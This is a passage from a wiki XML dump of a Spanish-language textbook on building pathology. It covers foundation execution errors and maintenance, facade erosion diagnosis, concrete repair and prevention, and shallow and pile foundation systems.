* ''Drenajes'': es importante mencionar este apartado, ya que el sistema de instalaciones es el que mayores daos puede ocasionar a la cimentación en caso de que no se ejecute correctamente. 

A la hora de ejecutar todos los sistemas de cimentación se debe comprobar: 

* Los replanteos son los correctos y siguen los las medidas e indicaciones de los planos de proyecto.
* La correcta adecuación del terreno, previamente tratado con los desmontes, vaciados, drenajes precisos, etc.
* Inspección visual de la colocación de armaduras.
* Control estadístico de la calidad del hormigón vertido.


===ERRORES DE EJECUCIÓN===

* La ejecución de los elementos y sistemas de cimentación realizada por personal con poca experiencia, o con poco control de la ejecución en obra puede provocar que la cimentación sea inservible. 

* Debe extremarse la precaución a la hora de ejecutar cimentaciones profundas como pilotes y muros pantalla, ya que si no se siguen las técnicas apropiadas puede a llegar a desmoronarse el terreno y a mezclarse éste con el mortero.

* Las cimentaciones profundas, especialmente si se trata de pilotajes con hormigonado en agua atravesando capas de nivel freático, deben ser especialmente bien ejecutadas.

* La no comprobación de las calidades de los elementos constructivos tanto en su llegada a la obra como en su puesta en la misma: calidad de cementos y áridos, colocación de armaduras, vertido de morteros, etc.

==Consevación==

===CONDICIONES DE USO Y MANTENIMIENTO===


La cimentación es una parte del edificio a la que no se tiene acceso. Las condiciones necesarias para que se mantenga en buen estado pasan por mantener en buen estado la estructura y evitar acciones y sobrecargas que puedan afectar a los esfuerzos para los que fueron calculados los elementos de estructura y cimentación.

Es recomendable tomar una serie de precauciones a la hora de mantener en buen estado la cimentación:

* Denunciar fugas observadas en instalaciones de suministro o evacuación de aguas, para que sean reparadas de inmediato y no puedan provocar asientos en el terreno.

* No modificar las solicitaciones previstas en el cálculo original de la estructura.

* Evitar perforaciones y movimientos de tierra cercanos a la situación de la cimentación del edificio.

* Estudiar en las revisiones periódicas de mantenimiento de la estructura posibles deterioros causados por fallos en la cimentación.


===PROTECCIÓN PREVENTIVA===


====''Protección del hormigón contra la agresividad del terreno'':====

La elección del tipo de cemento a emplear, su dosificación y compacidad, y el recubrimiento de las armaduras tendrá que ver con el tipo de agentes químicos que se hallen en cada tipo de suelo. Este tipo de prevención es especialmente importante en sistemas de cimentación longitudinal, tales como muros de contención, losas, o vigas flotantes, dado que poseen una mayor superficie de contacto con el terreno. 

====''Acciones preventivas en el diseño y ejecución de una cimentación'':====

* Considerar todas las acciones que inciden sobre la estructura: 
:* Peso propio.
:* Sobrecargas de uso, nieve, viento y sismos.
:* Sobrecargas térmicas y geológicas.
:* Empujes del terreno y situación de aguas freáticas.

* Adopción de estructuras isostáticas.

* Diseño de estructuras simétricas.

* No considerar los asientos admisibles en la cimentación como elementos a tener en cuenta en el cálculo.

* Se debe tener en cuenta la compatibilidad de deformaciones de los diferentes materiales utilizados para el sistema de cimentación en relación con el resto de sistemas relacionados con él. (Ver apartado 1.4 Integración con otros sistemas.)

* Diseñar una buena ubicación para las juntas de dilatación, de cimentación y de hormigonado.


1. DISEÑO:


*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Estudio Geotécnico|Estudio de las Características del Suelo. ESTUDIO GEOTÉCNICO.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Materiales|Materiales]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación Superficial|Sistemas de Cimentación Superficial.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Integración con otros Sistemas|Integración con otros Sistemas.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Errores de Diseño y Cálculo|Errores de Diseño y Cálculo.]][[Imagen:00%.svg]]


2. EJECUCIÓN:


*[[Patología de la edificación/Cimentaciones/Superficiales/Ejecución/Control de Recepción en Obra|Control de Recepción en Obra.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Ejecución/Construcción del Sistema|Construcción del Sistema.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Ejecución/Errores de Ejecución|Errores de Ejecución.]][[Imagen:00%.svg]]


3. CONSERVACIÓN:


*[[Patología de la edificación/Cimentaciones/Superficiales/Conservación/Condiciones de Uso y Mantenimiento|Condiciones de Uso y Mantenimiento.]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Conservación/Protección Preventiva|Protección Preventiva.]][[Imagen:00%.svg]]

{{AutoCat}}</text>
      <sha1>jrbirjaznty224nt23pwp0ooe011m28</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Erosión/Diagnóstico</title>
    <ns>0</ns>
    <id>13383</id>
    <revision>
      <id>430076</id>
      <parentid>417069</parentid>
      <timestamp>2026-08-02T10:55:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430076</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1602" sha1="2relt4zngellzlt41pae7inb87tv7lh" xml:space="preserve">== 3. DIAGNÓSTICO ==


Se procede en primer lugar a determinar datos como material afectado, zona geográfica y climática, localización de la lesión, nivel de exposición y coincidencia con otras lesiones. El diagnóstico se basa pues en estudiar qué causas son las probables; las causas directas son los agentes que intervienen, las indirectas son los errores cometidos en proyecto, construcción y elección de materiales. Cronológicamente hay que ver si el proceso seguido por la lesión es mecánico, físico o químico, y estudiar el síntoma para establecer el sistema de reparación más adecuado.
A continuación se decide qué tipo de erosión ha actuado según clasificación del libro “''Patología de cerramientos y acabados arquitectónicos''”:
*El diagnóstico de '''erosiones mecánicas''' parte del conocimiento de los agentes que ha intervenido: en el caso de personas o animales suelen ser en zonas bajas accesibles a golpes, si son plantas la zona de riesgo es más baja. Como causas indirectas analizaremos el material según la dureza superficial, la protección existente y la ejecución del cerramiento.
*Las '''erosiones físicas''' suelen conllevar humedades previas a este tipo de erosión, junto a las causas indirectas específicas que en este caso son la resistencia del material a la helada, el coeficiente de dilatación térmica potencial y el de humectación.
*Las '''erosiones químicas''' se diagnostican con los procedimientos relativos a humedades y organismos, siendo los parámetros a estudiar el tipo de alteración y el material afectado.

{{AutoCat}}</text>
      <sha1>2relt4zngellzlt41pae7inb87tv7lh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Reparación</title>
    <ns>0</ns>
    <id>13385</id>
    <revision>
      <id>430172</id>
      <parentid>417549</parentid>
      <timestamp>2026-08-02T11:54:58Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430172</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="8052" sha1="gbkjfumbato1xz3rilo0hh2vby8akbn" xml:space="preserve">== '''ESTABILIZACIÓN''' ==

 
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Estabilización provisional|Estabilización provisional]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Estabilización definitiva|Estabilización definitiva]]'''


== '''MÉTODOS PARA EL TRATAMIENTO PREVIO''' ==

Antes de que se pueda reparar una superficie de hormigón y protegerla contra nuevos ataques, es necesario limpiarla cuidadosa¬mente. Hay que liberarla de todas las cargas de suciedad, de las capas de yeso aplicadas a ella y que estén sueltas y de los compo¬nentes que desprendan arena.

Si se trata de una superficie de hormigón que tenga que someterse más tarde a un revestimiento de resina sintética como, por ejemplo, resinas epoxídicas o de poliuretano, es imprescindible retirar, no sólo las capas meteorizadas, sino también la capa de lechada de cemento. 

Hay que estudiar:
*	Los tipos de suciedad,
*	El estado de meteorización,
*	Las posibilidades de limpieza,
*	La dependencia de los métodos de pieza del entorno y del medio ambiente.

Métodos de limpieza:
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Métodos mecánicos|Métodos mecánicos]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Métodos químicos|Métodos químicos]]'''

== '''CONSOLIDACIÓN Y SOLIDARIZACIÓN INTERNA DE LA ESTRUCTURA''' ==


* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Resinas|Resinas]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Métodos para uniones y refuerzos estructurales|Métodos para uniones y refuerzos estructurales]]'''


== '''PROTECCIÓN PALIATIVA''' ==


Cada lesión tiene una resolución diferente. En todo caso será necesario realizar ensayos y análisis para obtener información sobre el estado del hormigón, las características del cemento y los áridos, y la relación agua / cemento del hormigón original. Además hay que comprobar si las fisuras que pudieran existir afectan a la resistencia del elemento o si son únicamente superficiales.

Si tras realizar el diagnóstico de un elemento estructural se considera que se debe intervenir en la estructura, se podrán realizar cinco actuaciones generales:

* Seguimiento de elemento dañado
* Aplicación de una protección paliativa
* Reconstrucción del elemento dañado
* Refuerzo del elemento dañado
* Sustitución del elemento dañado

En cualquier caso hay que considerar que cada caso es único y depende de muchos factores, y por tanto cada reparación puede ser diferente, lo que supone que el abanico de posibilidades es muy extenso. En este artículo se recogen los más comunes, de una manera genérica.

[[Patología de la edificación/Estructuras de hormigón/Causas funcionales y materiales del deterioro|Causas de las lesiones en estructuras de hormigón, cuyo conocimiento y análisis es fundamental antes de proceder a la reparación]]

Los sistemas de protección paliativa se aplican a hormigones viejos con el objetivo de mejorar sus condiciones y evitar que su estado empeore. Es aconsejable sólo en los casos en los que la lesión no afecte a la seguridad del edificio, como las producidas por la porosidad natural del hormigón, las microfisuras debidas al fraguado o la deformación admisible.

* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Protección paliativa interna|Protección paliativa interna]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Protección paliativa superficial|Protección paliativa superficial]]'''


== '''RECONSTRUCCIÓN''' ==
 

La reconstrucción total o parcial de estructuras de hormigón se emplea en los casos en los que han aparecido fisuras que deben ser reparadas, o cuando se haya producido una apreciable pérdida del material. Antes de la reconstrucción se debe sanear el hormigón existente. Este método se empleará cuando sea necesario recuperar las prestaciones originales del elemento afectado. Al realizarlo es básico evitar poner en contacto metales que puedan provocar corrosión de las armaduras por electrólisis.

* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Morteros de reparación|Morteros de reparación]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Restauración del hormigón fisurado|Restauración del hormigón fisurado]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Reparación de coqueras y oquedades|Reparación de coqueras y oquedades]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Reparación de desagregaciones|Reparación de desagregaciones]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Reparación de armaduras con corrosión|Reparación de armaduras con corrosión]]'''


[[:m:w:es:Electrolisis|La electrólisis en wikipedia]]


== '''REFUERZO''' ==

Los refuerzos se realizan cuando se pretende mejorar las prestaciones del elemento estructural original. Consiste en aumentar la sección resistente del hormigón. Se diferencia de los procesos de reparación en que no necesitan una puesta en carga tan cuidadosa, ni dimensionar los apeos para toda la carga.

Antes de realizar un refuerzo hay que analizar la situación y definir cómo funcionará estructuralmente el refuerzo. Este estudio debe incluir los apeos y cimbrados que sean necesarios, el tratamiento que se daría a las superficies de contacto, un análisis detallado de los nudos, y la entrada en carga del refuerzo, junto con el control que se debe llevar de esta puesta en carga. Al realizar refuerzos siempre hay que tener en cuenta que la introducción de nuevos pesos y nuevas distribuciones puede afectar al resto de la estructura.

* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Tipos de refuerzo según su puesta en carga|Tipos de refuerzo según su puesta en carga]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Refuerzos externos|Refuerzos externos]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Refuerzos internos|Refuerzos internos]]'''

== '''SUSTITUCIÓN''' ==

Este método se utiliza cuando el estado de deterioro de la estructura es tal que la mejor solución consiste en trasladar las cargas del elemento original a un nuevo elemento. Puede ser de dos tipos, física o funcional.

La sustitución aporta un material nuevo que pasa a desempeñar la función resistente del elemento original. La diferencia fundamental con los procesos de refuerzo es la necesidad de una puesta en carga muy cuidadosa y la obligación de estar dimensionada para toda la carga.

* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Sustitución física|Sustitución física]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Reparación/Sustitución funcional|Sustitución funcional]]'''


[[Patología de la edificación/Estructuras de hormigón/Lesiones/Deformaciones impuestas|Lesiones de deformación de las estructuras de hormigón, que se pueden resolver con refuerzos o sustituciones]]

[[Patología de la edificación/Estructuras de hormigón/Lesiones/Lesiones derivadas de los defectos del acero|Lesiones derivadas de los defectos del acero, que se pueden resolver con refuerzos o sustituciones]]


[[:m:w:es:Hormig%C3%B3n|El hormigón en wikipedia]]

[[:m:w:es:Hormig%C3%B3n_armado|El hormigón armado en wikipedia]]

[[:m:w:es:Terminolog%C3%ADa_utilizada_en_hormigones|Terminología del hormigón en wikipedia]]
----

''Autora: Esteban Vigara, Silvia. Alumna de la ETSAM. Universidad Politécnica de Madrid''
''Autora: Yara Walleska Castillo Sánchez. Alumna de la Etsam. Universidad Politécnica de MAdrid''


----
'''[[Patología de la edificación/Estructuras de hormigón/Reparación/BIBLIOGRAFÍA|BIBLIOGRAFÍA]]'''

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>gbkjfumbato1xz3rilo0hh2vby8akbn</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación</title>
    <ns>0</ns>
    <id>13416</id>
    <revision>
      <id>430143</id>
      <parentid>64814</parentid>
      <timestamp>2026-08-02T11:48:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430143</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="668" sha1="j6sc8gr9c6y5leddnoi6czrrfk55fdz" xml:space="preserve">====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Estabilización|Estabilización]]====

====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Liberación de acciones|Liberación de acciones]]====

====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Consolidación-regeneración/Solidarización|Consolidación-regeneración/Solidarización]]====

====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Refuerzo(externo)|Refuerzo(externo)]]====

====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Sustitución|Sustitución]]====

{{AutoCat}}</text>
      <sha1>j6sc8gr9c6y5leddnoi6czrrfk55fdz</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación por Pilotes</title>
    <ns>0</ns>
    <id>13433</id>
    <revision>
      <id>430128</id>
      <parentid>61781</parentid>
      <timestamp>2026-08-02T11:44:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430128</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1180" sha1="i2jwlp0jadw46kvooj64tbovl2hu0sq" xml:space="preserve">
'''PILOTES''' 

La cimentación por pilotes se lleva a cabo cuando los terrenos son de baja calidad o poco homogéneos, y los estratos seguros sobre los que apoyar la estructura se encuentran a gran profundidad en el terreno.

Existen dos tipos de piotes: los hormigonados in situ, y los prefabricados. Para los pilotes in situ, según el tipo de terreno distinguimos entre:
- ''Hormigonado en seco'': para pilotes con el nivel freático inferior a la línea de pilotes.
- ''Hormigonado en agua'': para pilotes que atraviesan capas de nivel freático, o se encuentran en terrenos con características de lodos.


'''ENCEPADOS'''
Los encepados son elementos de transición entre un elemento puntual de la estructura del edificio (un soporte vertical) y una cimentación a base de pilotes “in situ” o prefabricados.  

Los encepados necesitan ser atados entre sí o con el resto de la cimentación, ya que por sí solos resultan tan inestables como las zapatas. En el caso de que el encepado sea para un solo pilote, necesitará estar arriostrado en dos direcciones, mientras que si es un encepado para dos o más pilotes bastará con arriostrar en una dirección.

{{AutoCat}}</text>
      <sha1>i2jwlp0jadw46kvooj64tbovl2hu0sq</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Prevención</title>
    <ns>0</ns>
    <id>13438</id>
    <revision>
      <id>430173</id>
      <parentid>417550</parentid>
      <timestamp>2026-08-02T11:55:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430173</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12222" sha1="8di0vu48oio4sth8ilazu5axhr6r5d7" xml:space="preserve">==Diseño==

===Entramados y Pórticos===
Para una adecuada prevención de futuras patologías en entramados y pórticos habrá que tener en cuenta las siguientes recomendaciones de diseño:

*Para distribuir la estructura es recomendable una disposición en planta de geometría regular y simétrica, ya que normalmente los edificios se conciben para funcionar como un único conjunto de un sistema estructural. Esta distribución simplificará y ayudará al reparto de cargas. 

*Es aconsejable poner pórticos con el mayor número de vanos de manera que las luces de las vigas resulten lo más pequeñas posibles, evitándose en lo posible los pórticos de un solo vano muy sensibles a la acción del viento.

*Es muy aconsejable diseñar una protección para los elementos estructurales que estés some-tidos a ambientes como intemperie, fuertes condensaciones, ambientes químicamente agresivos y aquellos cuyo acabado suponga una disminución en la sección.

===Forjados y Losas===
Para una adecuada prevención de futuras patologías en forjados y losas habrá que tener en cuen-ta las siguientes recomendaciones de diseño:

*La distancia S entre ejes de nervios de losas no será mayor que la séptima parte de la luz del vano más pequeño. 

*Se dividirá en forjado en zonas cuya dimensión máxima medida paralelamente a los nervios no exceda de 30 metros que se separarán mediante juntas de dilatación con disposición de dobles soportados. 

*Cuando se abran huecos en el forjado su longitud total no deberá superar para cada dirección las dimensiones máximas que se indican a continuación:
***En la zona común a las bandas centrales la cuarta parte de la anchura total de cada  banda.   
***En la zona común a una banda central y a una banda de soportes, la cuarta parte de la anchura de cada banda.
***En cualquier caso se podrán hacer taladros de diámetro no mayor de 10 cm.

*'''[[Patología de la edificación/Estructuras de hormigón/Forjados/Prevención|H. Prevención en Forjados de Hormigón]]'''

===Muros===
Para una adecuada prevención de futuras patologías en muros habrá que tener en cuenta las si-guientes recomendaciones de diseño:

*El espesor mínimo de los muros realizados in situ será de 150 mm. Es recomendable que si se dispone de armadura en las dos caras su espesor no sea inferior a 200 mm.

*Los muros, tanto los que reciben forjado como los de arriostramiento estarán dispuestos se-gún dos direcciones perpendiculares entre sí. 

*Se tendrá especial cuidado en el encuentro con forjados para que se cumplan las longitudes de esperas para un correcto solape. 

*Debido a la naturaleza masiva de los muros, estos no se efectuarán en ningún sitio en el que puedan ser proclives a un cambio de cargas por parte del terreno.

===Soleras===
Para una adecuada prevención de futuras patologías en soleras se deberán tener en cuenta las siguientes recomendaciones de diseño:

*Los esfuerzos resultantes de la retracción del fraguado del hormigón en la solera y los cambios de temperatura puede producir fisuras, e incluso un alabeo de la solera en sus bordes. Para contrarrestar este efecto se puede colocar un refuerzo ligero de mallas soldadas entre sí, que también controlará el agrietamiento. 

*También se puede producir un hundimiento y fisuración  debido al sometimiento de la solera a cargas muy elevadas y relativamente periódicas como el tránsito de vehículos.  El diseño debe basarse en un patrón de cargas cacetadas, para ver en que zonas necesitará la solera un refuerzo especial de solera.


==Ejecución==

===Consideraciones Generales===
*'''[[Consideraciones generales para el trabajo en hormigón fresco]]'''
*'''[[Elección de granulometía]]'''
*'''[[Puesta en obra]]'''
*'''[[Curado]]'''
*'''[[Juntas]]'''
*'''[[Prevención ante los efectos del tiempo frío]]'''
*'''[[Prevención ante los efectos del tiempo caluroso]]'''
*'''[[Cimbrado]]'''
*'''[[Descimbrado]]'''

===Entramados y Pórticos===
Para una adecuada prevención de futuras patologías en entramados y pórticos habrá que tener en cuenta las siguientes recomendaciones de ejecución y puesta en obra: 

*Se comprobará la recepción de los materiales a usar en obra y que estos estén en estado in-dicado para su puesta en obra. 

*Cuando el vertido del hormigón se realice por sistema de bombeo los tubos irán conveniente-mente anclados  y se pondrá especial cuidado en limpiar la tubería.  
 
*Se suspenderé el hormigonado siempre que la temperatura ambiente sea superior a 40 º o se prevea que en las 48 horas siguientes pueda descender por debajo de los 0º. 

*Durante la ejecución se evitará la actuación de cualquier carga estática o dinámica que pueda provocar daños en los elementos ya hormigonados. Los distintos elementos de encofrado se retirarán sin producir sacudidas o choques en el soporte.

===Forjados y Losas===
Para una adecuada prevención de futuras patologías en forjados y losas habrá que tener en cuen-ta las siguientes recomendaciones de ejecución y puesta en obra:

*En losas se comprobará que los bloques sean incombustibles e imputrescibles. 

*Se comprobará que no tengan alabeos, roturas ni fisuras y deberán resistir apoyados en los bordes una carga vertical de 250 kg/m2. 

*Se tendrá especial cuidado en cumplir las longitudes de solape y de anclaje.

*Los apeos no deberán aflojarse antes de transcurridos 7 días desde la terminación del hormi-gonado ni suprimirse hasta que el hormigón haya alcanzado la resistencia prevista, pero nunca antes de 21 días.

*Mientras el forjado no tenga consistencia para soportar la circulación de personas se dispon-drán de tableros para su tránsito. 

*Se pondrá especial cuidado al desmoldar para no romper los cantos de los nervios inferiores del hormigón.

===Muros===
Para una adecuada prevención de futuras patologías en muros habrá que tener en cuenta las si-guientes recomendaciones de ejecución y puesta en obra:

*Se comprobará la recepción de los materiales a usar en obra y que estos estén en estado in-dicado para su puesta en obra. 

*Cuando el vertido del hormigón se realice por sistema de bombeo los tubos irán conveniente-mente anclados  y se pondrá especial cuidado en limpiar la tubería. 
  
*Se suspenderá el hormigonado siempre que la temperatura ambiente sea superior a 40 º o se prevea que en las 48 horas siguientes pueda descender por debajo de los 0º. 

*Durante la ejecución se evitará la actuación de cualquier carga estática o dinámica que pueda provocar daños en los elementos ya hormigonados. Los distintos elementos de encofrado se retirarán sin producir sacudidas o choques en el muro.

*Se cuidarán especialmente las longitudes de anclaje y solape, en el encuentro con los forja-dos superiores y en el encuentro con los muros perpendiculares que se realizará mediante cadenas de hormigón armado.

===Soleras===
Para una adecuada prevención de futuras patologías en soleras se deberán tener en cuenta las siguientes recomendaciones de ejecución y puesta en obra: 

*La composición del hormigón debe ser lo más uniforme y heterogénea posible. Para conse-guir esto se debe hormigonar en sucesivas capas lineales de poco espesor y cuidar la limpieza del tubo de hormigonado. 

*Debe ponerse especial cuidado en poner las pertinentes juntas de retracción y de contorno.

==Conservación==

===Entramados y Pórticos===
Para una adecuada conservación de los pórticos y los elementos de entramado se deberán tener en cuenta las siguientes recomendaciones:

*La propiedad conservará en su poder la documentación técnica relativa a los elementos es-tructurales de Hormigón Armado construidos en la que figurarán las solicitaciones para las que han sido previstos así como sus características técnicas. 

*Cada cinco años se realizará una inspección general, o antes si fuera detectada alguna ano-malía, observando si aparecen fisuras o cualquier tipo de lesión. En caso de ser observado alguno de estoa síntomas será estudiado por un técnico competente que emitirá un dictamen sobre la importan-cia de la peligrosidad y las reparaciones que deberán efectuarse. 

*Cuando se prevea un uso que pueda alterar la solicitación s previstas deberá ser consultado y emitir un dictamen un técnico competente. 

*No se realizarán perforaciones en vigas ni soportes de hormigón armado.


===Forjados y Losas===
Para una adecuada conservación de los forjados y losas se deberán tener en cuenta las siguien-tes recomendaciones:

*La propiedad conservará en su poder la documentación técnica relativa al forjado o losa en la que figurarán las sobrecargas previstas. A estos efectos y especialmente en locales comerciales y de almacenamiento deberá indicarse la sobrecarga a la que quedan sujetos. 

*No se permitirá la apretura de huecos no previstos en el cálculo. 

*Cuando vayan a construirse tabiques internos, o muros de cerramiento no estructurales sobre forjados o losas de luz superior a 6 metros, o voladizos superiores a 1.5m en edificaciones de más de 5 plantas deberán levantarse dichos paños sin ajustar en la parte superior, dejando una junta sin reta-car de 2 cm.  de espesor, que se rellenará después con yeso o material elástico adherente.

*Si el forjado va a estar sometido a cargas vibratorias o dinámicas no previstas en el cálculo, se deberá hacer un estudio de su resistencia y se adoptarán las medidas necesarias. 

*Se evitara cualquier uso que someta al forjado a una humedad habitual, y se denunciará cual-quier fuga observada en las canalizaciones de suministro o evacuación de agua. 

*Cada 5 años se realizará una inspección en los forjados, observando si aparecen en alguna zona, fisuras en cielo raso, fisuras en tabiquería o algún elemento del cerramiento,  humedad en el forjado y en  caso de observarse alguno de estos síntomas se realizará un estudio técnico que deter-minará su importancia y peligrosidad, y en su caso las reparaciones que deban realizarse.

*'''[[Patología de la edificación/Estructuras de hormigón/Forjados/Prevención|H. Prevención en Forjados de Hormigón]]'''

===Muros===
Para una adecuada prevención de futuras patologías en muros habrá que tener en cuenta las si-guientes recomendaciones de conservación: 

*La propiedad conservará en su poder la documentación técnica relativa a muros resistentes en la que figurarán los siguientes datos:
*Carga total prevista por m2 de forjado
*Número de forjados de piso que soporta cada elemento de muro y luces de los mismos
*Acciones horizontales previstas y sistema de arriostramiento. 

*No se permitirá la acumulación de cargas de uso superiores a las previstas ni alteraciones en la forma de trabajo de los elementos estructurales o en las condiciones de arriostramiento.

*Se evitará cualquier uso que someta a los muros a humedad habitual y se denunciará cual-quier fuga observada en las canalizaciones de suministro o evacuación de agua.

*Cada 10 años se realizara una inspección o antes si fuera apreciada alguna anomalía, obser-vando si aparecen en alguna zona fisuras de retracción o debidas a asientos u otras causas.  Cual-quier alteración apreciable de esta naturaleza como fisura, desplome o envejecimiento indebido debe-rá ser analizada por un Técnico competente que dictaminará su importancia y peligrosidad y en su casa, las reparaciones que deban realizarse.

===Soleras===
Para una adecuada prevención de futuras patologías en soleras se deberán tener en cuenta las siguientes recomendaciones de conservación. 

*No se someterá directamente la solera a la acción de: aguas con PH menor de 6 o mayor de 9. Tampoco a agua con una concentración de sulfatos superior a 0,2g/l, aceites minerales orgánicos o pesados o temperaturas mayores a 40º.

*Cada 5 años o antes si fuera apreciada alguna anomalía se realizará una inspección de la so-lera observando si aparecen grietas, fisuras o roturas. En el caso de ser observado alguno de estos síntomas será estudiado por un técnico competente que dictaminará las reparaciones que deben realizarse.

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>8di0vu48oio4sth8ilazu5axhr6r5d7</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación Superficial</title>
    <ns>0</ns>
    <id>13445</id>
    <revision>
      <id>430121</id>
      <parentid>61823</parentid>
      <timestamp>2026-08-02T11:44:06Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430121</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3368" sha1="nu8mtwlxjvg1nqn6vywso3vj43to9ne" xml:space="preserve">'''ZAPATAS'''


La zapata es sistema principalmente utilizado cuando se tiene que cimentar un elemento estructural aislado. El criterio de elección de la zapata como sistema de cimentación viene determinado por las siguientes condiciones.
* El elemento estructural a cimentar es un soporte vertical aislado.
* El suelo sobre el que se apoya el elemento estructural es homogéneo y de estratigrafía sensiblemente horizontal. 

''Criterios de diseño para zapatas aisladas'': 
* Elección de la tipología: La zapata será de planta cuadrada como opción general, excepto en los casos en que los soportes sean rectangulares muy alargados, o el soporte de encuentre entre medianerías. En este último caso, se deberá tener en cuenta además la excentricidad que se pueda producir en la zapata, por lo que, generalmente, la misma irá acompañada de vigas centradoras.

* La elección del plano o planos de apoyo, en el caso de cimentación escalonada cuando así se requiera, vendrá determinada por lo establecido en el estudio geotécnico previo, en función de los estratos existentes. 

La zapata aislada tiene el inconveniente de que puede resultar más inestable que otros sistemas, al ser de menor tamaño, por lo que le puede verse afectada por fuerzas de torsión o asientos provocados por movimientos del terreno o la estructura del edificio. Por este motivo estos elementos de cimentación suelen ir acompañados de ''vigas de atado''. Las vigas de atado son elementos estructurales de cimentación dispuestos en horizontal entre zapatas.


'''VIGAS FLOTANTES'''


La viga flotante es un elemento de cimentación longitudinal y de sección rectangular que se utiliza para cimentar soportes verticales en los casos en que se encuentran muy cercanos los unos de los otros, y resulte más cómodo y económico ejecutar una cimentación común para todos ellos. 

Condiciones para su uso como sistema de cimentación: 
* Las cargas de dos soportes contiguos no deben diferir entre sí más del 20% de la carga mayor.
* Las luces de dos vanos adyacentes no deben diferir entre sí más del 20% de la luz mayor.


'''LOSAS'''


La losa es un sistema de cimentación horizontal, adecuado para suelos de baja o media calidad, con estratos sensiblemente horizontales, y en edificios de no más de 10 plantas. 


No se deben realizar por norma general huecos en una losa de cimentación, ni tampoco disponer instalaciones debajo de la misma. En este caso es importante en la fase de proyecto el hacer un buen diseño de las instalaciones en función de la cimentación. 

Se debe tener en cuenta en la fase de proyecto que la losa es el sistema con mayor superficie en contacto con el terreno, y puede ser atacado por agentes del mismo en mayor medida que el resto de cimentaciones. 


'''ZAPATA CORRIDA'''


La zapata corrida es el sistema de utilizado para cimentar elementos estructurales tales como muros de carga, muros de sótano, o de arriostramiento. 

Es importante tener en cuenta que las juntas de dilatación que se establezcan en la estructura planteada no se transmiten a la zapata corrida, que es un elemento perfectamente continuo y no interrumpido.

Los criterios de diseño y profundidad de las zapatas corridas serán similares a los establecido para las zapatas aisladas, del mismo modo que los materiales para su ejecución.

{{AutoCat}}</text>
      <sha1>nu8mtwlxjvg1nqn6vywso3vj43to9ne</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/Reparación</title>
    <ns>0</ns>
    <id>13457</id>
    <revision>
      <id>430165</id>
      <parentid>158894</parentid>
      <timestamp>2026-08-02T11:54:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
